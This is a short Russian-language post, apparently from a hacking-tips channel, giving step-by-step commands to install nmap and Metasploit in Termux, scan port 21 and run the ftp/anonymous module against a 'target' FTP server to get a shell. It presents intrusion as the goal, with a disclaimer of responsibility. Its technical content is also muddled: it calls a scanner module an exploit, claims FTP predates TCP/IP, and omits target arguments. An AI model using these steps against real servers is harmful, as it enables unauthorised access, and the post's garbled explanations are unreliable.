💻 Взлом FTP сервера с помощью Metasploit


Для тех кто не в курсе.

FTP — протокол передачи файлов по сети. Он появился задолго до http и TCP/IP.
Он уязвим, чем мы и воспользуемся.

Обновим пакеты.

apt update -y && apt upgrade -y


Скачаем Nmap И Metasploit

apt install nmap

pkg install wget


wget https://raw.githubusercontent.com/gushmazuko/metasploit_in_termux/master/metasploit.sh chmod +x metasploit.sh ./metasploit.sh


Нам нужен открытый порт (21) Его использует ftp сервер, а именно vsFTPd. С помощью него мы можем сделать проверку на безопасность.


Сканируем нашу цель.

nmap -p 21


Запускаем Metasploit который мы скачали ранее.

msfconsole


Теперь мы берем эксплойт для анонимного входа. (ftp/anonymous)

use auxiliary/scanner/ftp/anonymous

Командой check мы можем узнать больше.

set rhost

Запускаем експлойт командой: exploit или run


Если мы успешно подключились вам будет видно окно о том, что вы подключились (Command shell session 1 opened). Теперь нам просто нужно ввести любые данные, и вы подключитесь.
Наша цель 500 подписчиков. Автор не несет ответственности за ваши действия!